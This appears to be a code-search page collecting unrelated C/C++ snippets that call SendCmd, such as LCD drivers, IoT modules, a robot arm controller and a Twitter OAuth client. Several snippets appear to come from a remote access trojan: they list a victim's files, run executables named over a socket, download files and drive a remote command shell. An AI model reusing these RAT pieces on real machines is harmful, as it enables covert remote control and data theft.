Exemplo n.º 1
0
/**
  * @brief  使用EMW3081模块和EDP协议向ONENET平台发送一个二进制文件,其中二进制文件为一个图片文件。
**/
int main(void)
{
		//SystemInit();
		LED_Init();  //LED指示灯初始化函数
		usart1_config(); //USART1串口初始化函数
		usart2_config(); //USART2串口初始化函数
		Delay(2000);
		
		while(1)
		{
				LED_Switch(LED_ON,LED_R|LED_G|LED_Y|LED_B);  //点亮开发板四个指示灯,表示程序进入主流程
				EMW3081_Reboot();  //重启EMW3081模块
				printf("%s\r\n","[main]ENTER COITINIT.");
				SendCmd(CIOTINIT,"+OK",40);	 //初始化EMW3081在ONENET平台的设备参数
				printf("%s\r\n","[main]ENTER COITSTART.");
				SendCmd(CIOTSTART,"+OK",40); //启动EMW3081向平台发送数据
				LED_Switch(LED_OFF,LED_R|LED_G|LED_Y|LED_B); //熄灭开发板四个指示灯,表示程序完成设备连接,进入数据发送循环
				
				while(1)
				{	
						EMW3081_SendBinDat(); //使用EMW3081向平台发送数据

						if((NULL != strstr(usart2_rcv_buf, "+ERR"))) //检测EMW3081发送一个二进制文件过程是否出错
						{
								break; //如果文件发送出错,退出数据发送循环
						}				
				}	
		}	
}		
Exemplo n.º 2
0
//////////////////////////////////////////////////////////////////////////
//文件夹回溯
//////////////////////////////////////////////////////////////////////////
BOOL FileBack(SOCKET sockfd,int dwSize)
{
	char* szPath = szRecvCmd+sizeof(RatProto);
	if (strlen(szPath)==3)
	{
		DriveList(sockfd);
		return TRUE;
	}
	for (int i=strlen(szPath)-2;i>0;i--)
	{
		if (szPath[i]=='\\')
		{
			szPath[i+1] = '*';
			break;
		}
		else
		{
			szPath[i] = '\0';
		}
	}
	FileList(sockfd,szPath);

	RatProto ratPro;
	ratPro.RatId = FILE_REPLY;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	szPath[strlen(szPath)-1] = '\0';
	SendCmd(sockfd,szPath,MAX_PATH);

	return TRUE;
}
Exemplo n.º 3
0
//////////////////////////////////////////////////////////////////////////
//执行EXE文件
//////////////////////////////////////////////////////////////////////////
BOOL FileExcute(SOCKET sockfd,int dwSize)
{
	char* szPath = szRecvCmd+sizeof(RatProto);
	ShellExecute(NULL,"open",szPath,NULL,NULL,SW_SHOWNORMAL);


	for (int i=strlen(szPath)-1;i>0;i--)
	{
		if (szPath[i]=='\\')
		{
			break;
		}
		else
		{
			szPath[i] = '\0';
		}
	}
	char szMsg[] = "执行成功!";
	RatProto ratPro;
	ratPro.RatId = FILE_REPLY;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH+strlen(szMsg)+1;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	SendCmd(sockfd,szPath,MAX_PATH);
	SendCmd(sockfd,szMsg,strlen(szMsg)+1);

	return TRUE;
}
Exemplo n.º 4
0
AJ_Status AJS_TargetIO_PinEnableTrigger(void* pinCtx, AJS_IO_PinTriggerMode trigger, int32_t* trigId, uint8_t debounce)
{
    GPIO* gpio = (GPIO*)pinCtx;

    if ((trigger != AJS_IO_PIN_TRIGGER_ON_RISE) && (trigger != AJS_IO_PIN_TRIGGER_ON_FALL)) {
        /*
         * Disable triggers for this pin
         */
        if (gpio->trigId != AJS_IO_PIN_NO_TRIGGER) {
            SendCmd('i', gpio, 0, 0);
            *trigId = gpio->trigId;
            BIT_CLR(trigSet, gpio->trigId);
            gpio->trigId = AJS_IO_PIN_NO_TRIGGER;
        } else {
            *trigId = AJS_IO_PIN_NO_TRIGGER;
        }
        return AJ_OK;
    }
    SendCmd('i', gpio, (trigger == AJS_IO_PIN_TRIGGER_ON_RISE) ? 1 : 2, 0);
    gpio->trigId = gpio->pinId;
    *trigId = gpio->trigId;

    AJ_ErrPrintf(("AJS_TargetIO_PinEnableTrigger pinId %d\n", gpio->pinId));
    return AJ_OK;
}
void Video(void) {
uchar	CurRow,CurCol;
  //  if (CheckKeyboardXMEGA()) return;
	if (GrafView) {
		GrafView--;
		if (!GrafView) ClearGraf();
		else return;
		}

	IniLCDMem();
	TimeToBuf();

//---- output CharSet ----------------

	SendBlock(&buf[0],TxtHomeAddr,DisplCols);
	SendBlock(&buf[Str2],TxtHomeAddr+DisplCols*2,DisplCols*(SUM_LINE_DISP-4));
    if(Menu) SendCmd(cmd8LineCurs);
       else  SendCmd(cmd3LineCurs);
//-- установить курсор --
	CurCol=(AdinB+Mark) % DisplCols;
	CurRow=(AdinB+Mark) / DisplCols;// + 2;
	Send2(cmdPozCurs,((int)CurRow * 256)+ CurCol); //0x0101);
    VideoSost();



}
Exemplo n.º 6
0
//////////////////////////////////////////////////////////////////////////
//打开文件
//////////////////////////////////////////////////////////////////////////
BOOL FileOpen(SOCKET sockfd,char* szFile,char* szType)
{
	RatProto ratPro;
	if (strcmp(szType,"EXE")==0)
	{
		ratPro.RatId = FILE_EXCUTE;
		sprintf(szTempPath,"%s%s",szTempPath,szFile);
	}
	else if (strcmp(szType,"DRIVE")==0)
	{	
		ratPro.RatId = FILE_OPEN;
		sprintf(szTempPath,"%s*",szFile);
	}
	else
	{
		ratPro.RatId = FILE_OPEN;
		sprintf(szTempPath,"%s%s\\*",szTempPath,szFile);
	}
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	Sleep(100);
	SendCmd(sockfd,szTempPath,MAX_PATH);


	return TRUE;
}
Exemplo n.º 7
0
void HT1621B_Init(void)
{
	SendCmd(BIAS); //设置偏压和占空比
	SendCmd(SYSEN); //打开系统振荡器
	SendCmd(LCDON); //打开LCD 偏压发生器

}
Exemplo n.º 8
0
//////////////////////////////////////////////////////////////////////////
//远程信息窗口过程
//////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK SysDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
	HWND hList;
	switch (uMsg)
	{
	case WM_COMMAND:
		{
		}
		break;
	case WM_SOCKET:
		{
			switch(LOWORD(lParam))
			{
			case FD_WRITE:
				{
					//继续发送
					SendCmd(sockfd,NULL,NULL);
				}
				break;
			case FD_READ:
				{
					RecvCmd(sockfd);
				}
				break;
			case FD_CLOSE:
				{
					//SOCKET出错处理,MainFunc.H里 清理缓冲区
					SocketError(sockfd);
				}
				break;
			}
		}
		break;
	case WM_INITDIALOG:
		{
			sockfd = (SOCKET)lParam;
			hList = GetDlgItem(hDlg,IDC_LIST1);
			//非拥塞模式
			WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE);
			//发送命令请求
			RatProto ratPro;
			ratPro.RatId = SYS_VIEW;
			ratPro.RatLen = sizeof(RatProto);
			SendCmd(sockfd,(char*)&ratPro,ratPro.RatLen);
			//初始化列表
			InitSysList(hList);
		}
		break;
	case WM_CLOSE:
		{
			EndDialog(hDlg,NULL);
		}
		break;
	default:
		break;
	}

	return FALSE;
}
Exemplo n.º 9
0
void CHello2Dlg::OnBtnRun() 
{
	// TODO: Add your control notification handler code here
	UpdateData();
	if(m_running){ //stop the running program
		m_running = false;
		SendCmd(CMD_PAUSE);
		if(IDYES == ::AfxMessageBox(_T("是否停止测量?"),MB_YESNO)){
				SendCmd(CMD_ABORT);
				for(int i=0;i<sizeof(m_ridlgs)/sizeof(CRunitemDialog*);i++){
					m_ridlgs[i]->m_prg.Abort();
				}
				CTesterProgram::m_swinav.reset_swi();
				CTesterProgram::m_swinav.scan('*',0);
				m_running = false;
		}else{
			SendCmd(CMD_GOON);
			m_running = true;
		}
	}else{	//start the running program
		
		SendCmd(CMD_ABORT);
		
	SendCmd(CMD_PAUSE);
		
	m_graph.iBufMax = m_runcount;
		if(m_graph.iBufMax > BUF_MAX_DEFAULT)
			m_graph.iBufMax = BUF_MAX_DEFAULT;
	if(m_runcount <= 0)
		m_graph.iBufMax = BUF_MAX_DEFAULT;
		
		LoadCurrentView();

		CString def = CRunitemDialog::GetSingleSetting(SYS_DEFINFO,DEFAULT_RES);
		def.Replace(_T("u_"),_T("d_"));
		CTesterProgram::SetGlobalEnv(def);
		int start = -1;
		for(int i=0;i<sizeof(m_ridlgs)/sizeof(CRunitemDialog*);i++){
			m_ridlgs[i]->Reset(m_runcount);
			if(m_ridlgs[i]->IsValid() && (m_ridlgs[i]->cfg_now == m_cfgtype)){
				if(start < 0)
					start = i;
				m_ridlgs[i]->PrepareRun(m_runcount);
				m_ridlgs[i]->m_prg.SetEnv(CRunitemDialog::GetSingleSetting(SYS_DEFINFO,m_sysdlg->m_name)+\
						CRunitemDialog::GetSingleSetting(FLT_DEFINFO,m_fltdlg->m_name)+\
						CRunitemDialog::GetSingleSetting(PRB_DEFINFO,m_ridlgs[i]->m_prbid)+\
						m_ridlgs[i]->GetCFGSetting());
			}
		}
		lastid = 999;
		
		cur_prg = &(m_ridlgs[start]->m_prg);

		m_running = true;
	}
	SET_RUN_TEXT;	
	
}
Exemplo n.º 10
0
//////////////////////////////////////////////////////////////////////////
//下载文件
//////////////////////////////////////////////////////////////////////////
BOOL FileDownLoad(SOCKET sockfd,char* szFile)
{
	RatProto ratPro;
	ratPro.RatId = FILE_DOWNLOAD;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	sprintf(szTempPath,"%s%s\0",szTempPath,szFile);
	SendCmd(sockfd,szTempPath,MAX_PATH);

	return TRUE;
}
Exemplo n.º 11
0
//////////////////////////////////////////////////////////////////////////
//返回上一级
//////////////////////////////////////////////////////////////////////////
BOOL FolderBack(SOCKET sockfd)
{
	RatProto ratPro;
	ratPro.RatId = FILE_BACK;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	Sleep(100);
	SendCmd(sockfd,szTempPath,MAX_PATH);

	return TRUE;
}
Exemplo n.º 12
0
    virtual bool Go(uint value, CSideCoord coord) {
        LogEx("Comm Go " << coord);
        int rank = m_fields[coord.m_side];
        if (0 == rank) return false;

        SendCmd(CMD_ENTER, 0);
        SendCmd(CMD_GO, rank);
        SendData(value, rank);
        SendData(coord.Flip(), rank);
        return false;
    }
Exemplo n.º 13
0
void CKerrControl::EnableServoTorque( int  MotorNumber, BOOL bEnable )
{

	// send command to enable servo Amplifier
	m_KerrCmd.ID = (BYTE)MotorNumber;			// Address of Servo to access use 0 for initial start-up
	m_KerrCmd.Command = KERR_CMD_STOP_SERVO + 0x10;	// High Nibble contains number of Data Bytes		

	if(bEnable)
	{
		ROBOT_LOG( TRUE,"KERR - Enabling Torque on Shoulder Motor %d\n", MotorNumber)
		m_KerrCmd.Data[0] = KERR_AMP_ENABLE;	// Enable/Disable bit 0
		SendCmd(1);

		// Now, if home position not set, do it!
		if( KERR_ARM_MOTOR_ID_RIGHT == MotorNumber )
		{
			if( !m_HomePositionInitializedRight )
			{
				CalibrateHomePosition( MotorNumber );
				// Set motor speed and move home
				SetArmPositionAndSpeed( MotorNumber, (RIGHT_ARM_SHOULDER_HOME1 * 10), SERVO_SPEED_MED_SLOW );
				g_BulkServoCmd[KERR_RIGHT_ARM_SHOULDER_SERVO_ID].PositionTenthDegrees = RIGHT_ARM_SHOULDER_HOME1 * 10; // make sure g_BulkServoCmd matches
			}
		}
		else if( KERR_ARM_MOTOR_ID_LEFT == MotorNumber )
		{
			if( !m_HomePositionInitializedLeft )
			{
				CalibrateHomePosition( MotorNumber );
				// Set motor speed and move home
				SetArmPositionAndSpeed( MotorNumber, (LEFT_ARM_SHOULDER_HOME1 * 10), SERVO_SPEED_MED_SLOW );
				g_BulkServoCmd[KERR_LEFT_ARM_SHOULDER_SERVO_ID].PositionTenthDegrees = LEFT_ARM_SHOULDER_HOME1 * 10; // make sure g_BulkServoCmd matches
			}
		}
		else
		{
			ROBOT_ASSERT(0);
		}
	}
	else
	{
		// Disable Torque
		m_KerrCmd.Data[0] = KERR_SERVO_OFF;		// Enable/Disable
		SendCmd(1);

		if( KERR_ARM_MOTOR_ID_RIGHT == MotorNumber )
		{
			m_HomePositionInitializedRight = FALSE;
			ROBOT_LOG( TRUE,"KERR - Right Shoulder Torque Disabled\n")
		}
		else if( KERR_ARM_MOTOR_ID_LEFT == MotorNumber )
Exemplo n.º 14
0
//////////////////////////////////////////////////////////////////////////
//打开指定文件
//////////////////////////////////////////////////////////////////////////
BOOL FileOpen(SOCKET sockfd,int dwSize)
{
	char* szPath = szRecvCmd+sizeof(RatProto);
	FileList(sockfd,szPath);
	szPath[strlen(szPath)-1] = '\0';

	RatProto ratPro;
	ratPro.RatId = FILE_REPLY;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	SendCmd(sockfd,szPath,MAX_PATH);

	return TRUE;
}
Exemplo n.º 15
0
int main(int argc,char** argv)
{
  unsigned char idx = 1;
  char portName[128] = "/dev/ttyUSB0";
  const unsigned char boostSpeedIdx = 5;
  int tty_fd = -1;
  if(argc >= 3)
  { //default baud rate 9600 bps
    idx = atoi(argv[2]);
  }

  if(argc >= 2)
  {
    strcpy(portName, argv[1]);
  }
  printf("argc=%d\r\n", argc);
  printf("idx=%d\r\n", idx);
  printf("portName=%s\r\n", portName);

  tty_fd = Open(portName, idx);
  ShowTty(tty_fd, 1024);

  unsigned char cmd[11] = { 0xA0, 0xA1, 0x00, 0x04, 0x05, 0x00, (unsigned char)boostSpeedIdx, 0x02, 0x02 ,0x0D, 0x0A };
  //unsigned char cmd[11] = { 0xA0, 0xA1, 0x00, 0x04, 0x05, 0x00, 0x07, 0x00, 0x02 ,0x0D, 0x0A };
  SendCmd(tty_fd, cmd, sizeof(cmd));
  Sleep(1000);

  tcflush(tty_fd, TCIFLUSH);
  close(tty_fd);
  Sleep(1000);

  tty_fd = Open(portName, boostSpeedIdx);
  ShowTty(tty_fd, 1024);


  unsigned char cmd2[11] = { 0xA0, 0xA1, 0x00, 0x04, 0x05, 0x00, idx, 0x02, 0x04 ,0x0D, 0x0A };
  SendCmd(tty_fd, cmd2, sizeof(cmd2));
  Sleep(1000);


  tcflush(tty_fd, TCIFLUSH);
  close(tty_fd);
  Sleep(1000);

  tty_fd = Open(portName, idx);
  ShowTty(tty_fd, 1024);

  close(tty_fd);
}
Exemplo n.º 16
0
void IniLCDMem(void) {
	Send2(cmdTxtHome,TxtHomeAddr);
	Send2(cmdGrfHome,GrfHomeAddr);
	Send2(cmdTxtArea,TxtArea);
	Send2(cmdGrfArea,GrfArea);
	SendCmd(cmdModeEXOR);
	Send2(cmdOffSet,OffSet);
	SendCmd(cmdTxtOnGrafOff);
//	SendCmd(cmdTxtOnGrafOn);

	SendSim(DTire,(SUM_LINE_DISP-2));	//=

	if (x_menu) SendSim(Tire,1);

	}
Exemplo n.º 17
0
/*static int EncryptResult(const char* result_in, char **result_out, int *result_out_len)
{
	if(NULL==result_in) 
	{
		*result_out=0;
		*result_out_len=0;

		return -1;
	}
	else
	{
		des_key_schedule ks,ks2,ks3;
		static unsigned char cbc_key [8]={0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef};
		static unsigned char cbc2_key[8]={0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01};
		static unsigned char cbc3_key[8]={0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01, 0x23};	
		static unsigned char cbc_iv [8]={0x12, 0x34, 0x56, 0x78, 0x90, 0xab, 0xcd, 0xef};
		
		des_cblock iv3;
		memcpy(iv3,cbc_iv,sizeof(cbc_iv));

		if (DES_set_key_checked(&cbc_key,&ks) != 0 
		 || DES_set_key_checked(&cbc2_key,&ks2) != 0 
		 || DES_set_key_checked(&cbc3_key,&ks3) != 0)
		{
			printf("Key error \n");
			return -1;
		}

		int result_in_len = strlen(result_in);
		int cbc_out_len = (result_in_len+15)/16*16+16;
		unsigned char *cbc_in = malloc(cbc_out_len);
		unsigned char *cbc_out = malloc(cbc_out_len);
		memset(cbc_in, 0, cbc_out_len);

		memcpy(cbc_in, result_in, result_in_len);

		printf("1 %d\n",cbc_out_len);
		int i, j=cbc_out_len/16;
		for(i=0; i<j; ++i)
		{
			des_ede3_cbc_encrypt(cbc_in+i*16,cbc_out+i*16,16L,ks,ks2,ks3,&iv3,
						 DES_ENCRYPT);
			printf("1\n");
		}

		free(cbc_in);
		
		*result_out_len = cbc_out_len;
		*result_out = (char*)cbc_out;

	}

	return 0;
}

static char* EncryptResultToString(char* result, int result_len)
{
	if(NULL==result || 0==result_len) return result;
	
	printf("len=%d\n", result_len);
	char* lisencebase64 = base64Encode(result, result_len);
	printf("base64:%s, len=%zu\n", lisencebase64, strlen(lisencebase64));
	free(result);

	return lisencebase64;
}
*/
static int SendResult(int fd, const char* result)
{
	assert(fd>0);

	if(NULL==result) return 0;

	/*int Encrypt=0;//no Encrypt now!!
	char *result2;
	if(Encrypt)
	{
		//char *result_out=NULL;
		//int result_out_len=0;
		//EncryptResult(result, &result_out, &result_out_len);
		//result2 = EncryptResultToString(result_out, result_out_len);
	}
	else
	{
		result2 = result;
	}*/


	int err = SendCmd(fd, result); 

	//free(result);

	return err;
}
void FileTransferWidget::GetNextFile()
{
    if (m_filesHashIter->hasNext())
    {
        m_speedBytes = 0;
        m_currentFileSize = 0;
        QHash<QString, quint32>::const_iterator currFile = m_filesHashIter->next();
        m_ui->progressBar->setMaximum(currFile.value());
        m_ui->progressBar->setValue(0);
        m_ui->fileSizeLabel->setText(MRIMCommonUtils::GetFileSize(currFile.value()));
        m_ui->doneLabel->setText(MRIMCommonUtils::GetFileSize(0));
        m_ui->statusLabel->setText(tr("Getting file..."));
        m_ui->fileNameLabel->setText(currFile.key());
        m_ui->speedLabel->clear();
        QString reqCmd("MRA_FT_GET_FILE "+currFile.key());        
        m_currentFile.setFileName(m_location+currFile.key());
        m_currentFile.open(QIODevice::WriteOnly);
        SendCmd(reqCmd);
        m_currentStatus = FT_WAIT_FOR_TRANSFER;
        UpdateProgress();
    }
    else
    {
        m_client->Protocol()->FileTransferCompleted(m_req.UniqueId);
        m_currentStatus = FT_TRANSFER_COMPLETED;
        m_socket->disconnectFromHost();
        m_ui->cancelButton->setText(tr("Close"));
        if (m_ui->closeAfterTransfer->checkState() == Qt::Checked)
        {
            close();
        }
    }
}
void FileTransferWidget::ReadyRead()
{
    switch (m_transferMode)
    {
    case TM_RECIEVE_CLIENT:
    {
        if (m_currentStatus == FT_WAIT_FOR_HELLO)
        {
            QString cmd(m_socket->readAll());
            qDebug()<<"File transfer cmd recieved: "<<cmd;
            if (cmd.contains("MRA_FT_HELLO") && cmd.contains(m_req.From))
            {
                GetNextFile();
            }
        }
        else
        {
            m_currentFileSize += m_socket->bytesAvailable();
            m_speedBytes += m_socket->bytesAvailable();
            m_ui->doneLabel->setText(MRIMCommonUtils::GetFileSize(m_currentFileSize));
            m_ui->progressBar->setValue(m_currentFileSize);
            m_currentFile.write(m_socket->readAll());

            if (m_currentFileSize >= m_filesHashIter->value())
            {
                //done with current file
                m_currentFile.close();
                m_currentStatus = FT_TRANSFER_FILE_COMPLETED;
                GetNextFile();
            }
        }
    }
    break;
    case TM_SEND_SERVER:
    {
        if (m_currentStatus == FT_WAIT_FOR_HELLO)
        {
            QString cmd(m_socket->readAll());
            qDebug()<<"File transfer cmd recieved: "<<cmd;
            if (cmd.contains("MRA_FT_HELLO") && cmd.contains(m_req.To))
            {
                SendCmd("MRA_FT_HELLO "+m_client->GetAccountInfo().account_name);
                m_currentStatus = FT_WAIT_FOR_TRANSFER;
            }
        }
        else if (m_currentStatus == FT_WAIT_FOR_TRANSFER && m_sentFilesCount < m_req.FilesInfo.count())
        {
            QString cmdStr(m_socket->readAll());
            qDebug()<<"File transfer cmd recieved: "<<cmdStr;
            QStringList cmd = cmdStr.split(' ');
            if (cmd.contains("MRA_FT_GET_FILE"))
            {
                m_currentStatus = FT_TRANSFER;
                SendFile(cmd[1]);
            }
        }
    }
    break;
    }
}
Exemplo n.º 20
0
//認証結果の暗証番号を設定する
//内部でGetAuthorizationUrlで取得した値を使用するので、一連の流れで設定する必要あり
//戻り値:
// エラーコード
//引数:
// password		[IN]暗証番号
DWORD CTwitterMain::SetAuthorizationPWD(
	LPCWSTR password
	)
{
	if( Lock() == FALSE ) return ERR_FALSE;
	DWORD ret = NO_ERR;
	CRequestUtil requestUtil;

	wstring requestUrl;
	wstring httpHeader;

	wstring key = CONSUMER_SECRET_KEY;
	key += L"&";
	key += this->authorization_token_secret.c_str();

	requestUtil.CreateAccessToken(CONSUMER_KEY, key, this->authorization_token.c_str(), password, requestUrl, httpHeader);
	ret = SendCmd(&this->httpUtil, FALSE, NW_VERB_POST, requestUrl.c_str(), httpHeader.c_str(), NULL, L"");
	if( ret == NO_ERR ){
		//レスポンス取得して解析
		wstring buff = this->lastResponse;
		Replace(buff, L"oauth_token=", L"");
		Separate(buff, L"&oauth_token_secret=", this->oauth_token, buff);
		Separate(buff, L"&", this->oauth_token_secret, buff);

		WritePrivateProfileString(L"SET", L"token", this->oauth_token.c_str(), this->moduleIniPath.c_str() );
		WritePrivateProfileString(L"SET", L"token_secret", this->oauth_token_secret.c_str(), this->moduleIniPath.c_str() );
	}

	UnLock();
	return ret;
}
Exemplo n.º 21
0
//認証用ログインURLを取得する
//戻り値:
// エラーコード
//引数:
// url			[OUT]認証用ログインURL(次回API呼出時までメモリ確保)
DWORD CTwitterMain::GetAuthorizationUrl(
	WCHAR** url
	)
{
	if( Lock() == FALSE ) return ERR_FALSE;
	SAFE_DELETE_ARRAY(this->authorizationUrl);
	DWORD ret = NO_ERR;

	CRequestUtil requestUtil;

	wstring requestUrl;
	wstring httpHeader;

	CRequestUtil request;
	wstring key = CONSUMER_SECRET_KEY;
	key += L"&";
	requestUtil.CreateRequestToken(CONSUMER_KEY, key, requestUrl, httpHeader);

	ret = SendCmd(&this->httpUtil, FALSE, NW_VERB_POST, requestUrl.c_str(), httpHeader.c_str(), NULL, L"");
	if( ret == NO_ERR ){
		//レスポンス取得して解析
		wstring buff = this->lastResponse;
		Replace(buff, L"oauth_token=", L"");
		Separate(buff, L"&oauth_token_secret=", this->authorization_token, this->authorization_token_secret);

		wstring authUrl;
		request.CreateAuthorizationUrl(this->authorization_token.c_str(), authUrl);
		authorizationUrl = new WCHAR[authUrl.size() + 1];
		wcscpy_s(authorizationUrl, authUrl.size() + 1, authUrl.c_str());
		*url = authorizationUrl;
	}

	UnLock();
	return ret;
}
Exemplo n.º 22
0
void SetGbufAdrInfo(UINT32 adr, UINT32 jadr, UINT32 tadr, UINT32 iadr)
{
	char str[100];

	sprintf(str, "SetGbufAdrInfo %x %x %x %x\n", adr, jadr, tadr, iadr);
	SendCmd(str);
}
Exemplo n.º 23
0
void SetGbufMode(UINT8 mode)
{
	char str[100];

	sprintf(str, "SetGbufMode %x\n", mode);
	SendCmd(str);
}
Exemplo n.º 24
0
void CHello2Dlg::OnExit() 
{
	// TODO: Add your control notification handler code here
	KillTimer(1);
	SendCmd(CMD_QUIT);
	OnCancel();
}
Exemplo n.º 25
0
//////////////////////////////////////////////////////////////////////////
//远程CMD窗口过程
//////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK CmdDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_COMMAND:
		{
			switch(LOWORD(wParam))
			{
			case IDC_BUTTON1:
				{
					//发送远程CMD命令要求
					CmdRequest(sockfd,hDlg);
				}
				break;
			}
		}
		break;
	case WM_SOCKET:
		{
			switch(LOWORD(lParam))
			{
			case FD_WRITE:
				{
					//继续发送
					SendCmd(sockfd,NULL,NULL);
				}
				break;
			case FD_READ:
				{
					RecvCmd(sockfd);
				}
				break;
			case FD_CLOSE:
				{
					//SOCKET出错处理,MainFunc.H里 清理缓冲区
					SocketError(sockfd);
					EndDialog(hDlg,NULL);
				}
				break;
			}
		}
		break;
	case WM_INITDIALOG:
		{
			sockfd = (SOCKET)lParam;
			//非拥塞模式
			WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE);
		}
		break;
	case WM_CLOSE:
		{
			EndDialog(hDlg,NULL);
		}
		break;
	default:
		break;
	}

	return FALSE;
}
Exemplo n.º 26
0
void File2Gbuf(char *str, int adr)
{
	char str1[100];

	sprintf(str1, "File2Gbuf /flash/%s %x\n", str, adr);
	SendCmd(str1);
}
Exemplo n.º 27
0
/********************************************************************************
  Description:
	Set vaule to chip register, if adr > V9_SRAM_ADDR_MIN, acess sram
  Parameters:
	adr  : register address
	uVal : value
  Note:
  Returns:
  Remarks:
*********************************************************************************/
void V9_SetReg(UINT32 adr, UINT32 val, UINT8 regWType)
{
	char str[0x100];
	
	sprintf(str, "V9_SetReg %x, %x, %x\n", adr, val, regWType);
	SendCmd(str);
}
Exemplo n.º 28
0
void sample_timeout(unsigned long arg)
{
	static int toggle = 0;

	printk("%s called\n", __func__);

	SendCmd(0xED);
	if (toggle == 0) {
		SendCmd(0x00);
	} else {
		SendCmd(0x02);
	}
	toggle ^= 1;

	mod_timer(&timer, jiffies + timeout*HZ);
}
Exemplo n.º 29
0
    void Run(std::string fname) {
        if (!m_reader.Read(fname)) {
            std::cerr << "Can not read input data\n";
            assert(0);
        }
        { LogEx("Read field\n" << m_reader); }

        int needTasks = m_reader.GetGridSize() * m_reader.GetGridSize() + 1;
        if (m_env.m_procCnt < needTasks) {
            std::stringstream ss;
            ss << "not enough tasks: need " << needTasks << " got " << m_env.m_procCnt;
            throw ss.str();
        } else if (needTasks < m_env.m_procCnt) {
            for (int i = needTasks; i < m_env.m_procCnt; ++i) {
                SendCmd(CMD_DIE, i);
            }
        }
        SendTasks();
        SendGo();
        if (WaitFinish()) {
            NotifyAllTasks(CMD_FIN_FOUND);
            std::string way;
            GetWay(way);
            LogEx("Way found: " << way);
            std::cerr << "Way found: " << way << "\n";
        } else {
            std::cerr << "Can not find way\n";
        }
        NotifyAllTasks(CMD_DIE);
    }
Exemplo n.º 30
0
void Gbuf2File(char *str, int len, int adr)
{
	char str1[100];

	sprintf(str1, "Gbuf2File /flash/%s %x %x\n", str, len, adr);
	SendCmd(str1);
}